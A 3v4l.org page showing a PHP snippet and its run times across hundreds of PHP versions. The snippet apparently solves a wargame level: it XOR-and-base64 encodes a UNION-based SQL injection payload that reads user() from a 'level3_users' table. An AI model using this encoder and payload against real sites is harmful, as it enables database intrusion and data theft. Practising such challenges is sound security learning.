3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' union all select 1,2,3,4,5,user(),7 from level3_users"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01418.55
8.3.50.0080.01122.02
8.3.40.0150.00918.91
8.3.30.0070.01019.25
8.3.20.0000.00820.18
8.3.10.0000.00823.61
8.3.00.0040.00422.52
8.2.180.0160.00017.00
8.2.170.0120.00322.96
8.2.160.0140.00021.98
8.2.150.0060.00324.18
8.2.140.0060.00324.66
8.2.130.0050.00326.16
8.2.120.0030.00817.63
8.2.110.0080.00520.97
8.2.100.0080.00419.70
8.2.90.0000.00919.41
8.2.80.0060.00317.97
8.2.70.0050.00517.88
8.2.60.0050.00318.05
8.2.50.0040.00418.10
8.2.40.0040.00418.22
8.2.30.0040.00418.19
8.2.20.0000.00717.83
8.2.10.0000.00817.97
8.2.00.0070.00017.93
8.1.280.0070.01125.92
8.1.270.0030.00624.02
8.1.260.0080.00026.35
8.1.250.0000.00928.09
8.1.240.0090.00022.75
8.1.230.0090.00317.86
8.1.220.0030.00717.77
8.1.210.0060.00318.77
8.1.200.0040.00417.60
8.1.190.0080.00017.47
8.1.180.0030.00618.10
8.1.170.0000.00818.70
8.1.160.0050.00322.07
8.1.150.0050.00218.81
8.1.140.0000.00817.64
8.1.130.0040.00417.67
8.1.120.0000.00717.54
8.1.110.0040.00417.63
8.1.100.0040.00417.57
8.1.90.0070.00317.54
8.1.80.0000.00717.66
8.1.70.0000.00717.61
8.1.60.0090.00317.73
8.1.50.0050.00317.71
8.1.40.0040.00417.63
8.1.30.0030.00617.71
8.1.20.0040.00417.75
8.1.10.0040.00417.64
8.1.00.0040.00417.58
8.0.300.0060.00318.77
8.0.290.0090.00416.75
8.0.280.0000.00718.45
8.0.270.0040.00416.99
8.0.260.0000.00717.31
8.0.250.0000.00717.12
8.0.240.0070.00317.01
8.0.230.0000.00817.14
8.0.220.0070.00017.02
8.0.210.0030.00516.98
8.0.200.0030.00317.20
8.0.190.0050.00217.08
8.0.180.0000.00717.07
8.0.170.0040.00417.00
8.0.160.0000.00816.89
8.0.150.0070.00017.07
8.0.140.0040.00416.98
8.0.130.0050.00013.49
8.0.120.0000.00816.93
8.0.110.0000.00817.02
8.0.100.0040.00417.00
8.0.90.0000.00716.91
8.0.80.0090.00617.13
8.0.70.0000.00816.90
8.0.60.0030.00517.11
8.0.50.0000.00717.05
8.0.30.0100.01017.36
8.0.20.0120.00817.40
8.0.10.0020.00517.23
8.0.00.0080.00917.07
7.4.330.0000.00515.12
7.4.320.0030.00316.66
7.4.300.0070.00016.73
7.4.290.0030.00316.79
7.4.280.0000.00816.66
7.4.270.0000.00816.89
7.4.260.0070.00016.86
7.4.250.0050.00216.81
7.4.240.0020.00716.78
7.4.230.0030.00516.56
7.4.220.0140.01416.81
7.4.210.0090.00816.86
7.4.200.0050.00216.93
7.4.190.0040.00416.82
7.4.160.0130.00316.70
7.4.150.0140.00417.40
7.4.140.0060.01217.86
7.4.130.0080.01316.80
7.4.120.0090.01016.76
7.4.110.0100.00716.93
7.4.100.0120.00616.67
7.4.90.0110.00716.93
7.4.80.0040.01716.79
7.4.70.0060.01016.63
7.4.60.0030.01416.81
7.4.50.0060.00316.71
7.4.40.0030.01422.77
7.4.30.0190.00316.87
7.4.00.0090.00615.46
7.3.330.0030.00313.40
7.3.320.0060.00013.50
7.3.310.0030.00516.63
7.3.300.0000.00716.43
7.3.290.0060.00916.58
7.3.280.0130.00616.50
7.3.270.0100.00717.40
7.3.260.0220.00316.62
7.3.250.0080.00816.71
7.3.240.0000.01816.77
7.3.230.0060.01116.49
7.3.210.0030.01416.53
7.3.200.0090.01219.39
7.3.190.0120.00816.58
7.3.180.0100.00716.57
7.3.170.0130.00416.80
7.3.160.0120.01016.82
7.3.120.0070.00715.06
7.3.10.0070.00716.71
7.3.00.0040.00816.84
7.2.330.0090.00916.96
7.2.320.0070.01016.98
7.2.310.0100.00616.72
7.2.300.0100.00616.95
7.2.290.0150.00616.88
7.2.130.0070.00717.17
7.2.120.0040.01117.18
7.2.110.0090.00616.94
7.2.100.0040.01116.86
7.2.90.0040.00716.95
7.2.80.0110.00317.10
7.2.70.0030.01017.09
7.2.60.0070.00716.66
7.2.50.0000.01417.03
7.2.40.0000.01616.97
7.2.30.0070.00317.11
7.2.20.0000.01316.70
7.2.10.0030.01316.82
7.2.00.0030.00818.19
7.1.250.0060.01015.90
7.1.100.0100.00718.15
7.1.70.0050.00517.43
7.1.60.0140.01119.24
7.1.50.0100.01317.28
7.1.00.0000.08022.37
7.0.200.0110.00716.67
7.0.140.0000.07721.99
7.0.60.0070.08019.89
7.0.50.0100.08018.00
7.0.40.0130.06320.13
7.0.30.0270.03320.21
7.0.20.0330.07720.26
7.0.10.0100.04720.09
7.0.00.0100.06720.07
5.6.280.0000.07320.82
5.6.210.0130.08020.48
5.6.200.0000.07318.12
5.6.190.0170.08020.50
5.6.180.0270.05320.63
5.6.170.0170.08720.46
5.6.160.0130.08320.62
5.6.150.0000.05718.18
5.6.140.0130.08018.16
5.6.130.0130.07718.28
5.6.120.0070.03720.96
5.6.110.0070.08720.99
5.6.100.0070.07021.14
5.6.90.0000.08020.89
5.6.80.0000.04720.39
5.5.350.0100.07720.43
5.5.340.0000.04318.07
5.5.330.0100.08320.29
5.5.320.0330.06020.28
5.5.310.0230.04720.27
5.5.300.0070.03718.08
5.5.290.0100.05317.98
5.5.280.0100.04720.86
5.5.270.0170.03320.64
5.5.260.0070.08320.80
5.5.250.0130.08020.79
5.5.240.4170.03020.27
5.4.450.0900.06719.57
5.4.440.0870.05019.55
5.4.430.0830.04319.21
5.4.420.0130.05319.52
5.4.410.0100.05718.96
5.4.400.0130.04718.87
5.4.390.0100.05318.46
5.4.380.0130.05318.84
5.4.370.0200.04318.78
5.4.360.0130.05018.76
5.4.350.0200.04718.73
5.4.340.0200.06018.80
5.4.320.0060.03712.51
5.4.310.0050.03812.50
5.4.300.0040.04012.50
5.4.290.0020.04612.50
5.4.280.0050.03912.40
5.4.270.0100.03812.40
5.4.260.0060.04112.40
5.4.250.0050.03912.40
5.4.240.0090.04012.41
5.4.230.0090.03712.39
5.4.220.0050.03912.39
5.4.210.0090.03512.39
5.4.200.0030.04612.39
5.4.190.0080.03612.39
5.4.180.0060.04012.39
5.4.170.0180.03912.38
5.4.160.0120.04712.38
5.4.150.0210.04012.38
5.4.140.0360.08712.05
5.4.130.0230.06512.05
5.4.120.0140.04212.00
5.4.110.0150.04112.00
5.4.100.0150.04312.00
5.4.90.0250.06312.00
5.4.80.0160.04112.00
5.4.70.0150.04312.00
5.4.60.0150.04012.00
5.4.50.0150.04111.99
5.4.40.0140.04211.98
5.4.30.0140.04311.98
5.4.20.0260.06211.98
5.4.10.0140.04211.98
5.4.00.0140.04211.47
5.3.290.0030.04412.80
5.3.280.0080.04512.71
5.3.270.0200.04012.72
5.3.260.0190.04112.72
5.3.250.0190.04012.72
5.3.240.0180.04212.72
5.3.230.0190.04312.71
5.3.220.0120.04712.68
5.3.210.0160.04412.68
5.3.200.0130.04612.68
5.3.190.0140.04712.68
5.3.180.0240.06712.67
5.3.170.0160.04312.67
5.3.160.0230.03712.68
5.3.150.0160.04612.67
5.3.140.0210.03812.66
5.3.130.0170.04412.66
5.3.120.0210.06912.66
5.3.110.0190.04212.66
5.3.100.0140.04612.13
5.3.90.0180.04312.11
5.3.80.0230.04412.09
5.3.70.0130.05412.09
5.3.60.0310.09312.08
5.3.50.0150.04512.02
5.3.40.0270.06712.03
5.3.30.0130.04511.99
5.3.20.0150.04311.77
5.3.10.0160.04011.73
5.3.00.0130.04311.72
5.2.170.0110.0359.23
5.2.160.0120.0349.22
5.2.150.0090.0389.22
5.2.140.0140.0339.22
5.2.130.0110.0359.18
5.2.120.0110.0359.18
5.2.110.0120.0389.18
5.2.100.0110.0359.19
5.2.90.0120.0349.19
5.2.80.0130.0359.17
5.2.70.0140.0349.18
5.2.60.0240.0529.13
5.2.50.0120.0359.09
5.2.40.0100.0379.08
5.2.30.0150.0309.05
5.2.20.0150.0319.05
5.2.10.0150.0308.95
5.2.00.0130.0318.80
5.1.60.0100.0298.09
5.1.50.0120.0288.08
5.1.40.0090.0308.07
5.1.30.0160.0278.41
5.1.20.0160.0268.45
5.1.10.0140.0308.17
5.1.00.0090.0328.16
5.0.50.0190.0456.66
5.0.40.0050.0276.51
5.0.30.0070.0376.33
5.0.20.0090.0226.29
5.0.10.0100.0216.27
5.0.00.0110.0326.26
4.4.90.0070.0184.78
4.4.80.0050.0204.75
4.4.70.0100.0154.75
4.4.60.0070.0794.75
4.4.50.0070.0184.77
4.4.40.0070.0294.71
4.4.30.0060.0214.76
4.4.20.0080.0184.84
4.4.10.0090.0164.85
4.4.00.0050.0304.76
4.3.110.0080.0174.67
4.3.100.0070.0184.66
4.3.90.0110.0134.63
4.3.80.0070.0284.58
4.3.70.0080.0164.63
4.3.60.0060.0184.63
4.3.50.0060.0184.63
4.3.40.0050.0284.54
4.3.30.0030.0503.33
4.3.20.0030.0203.31
4.3.10.0040.0183.28
4.3.00.0030.02013.32

preferences:
40.33 ms | 401 KiB | 5 Q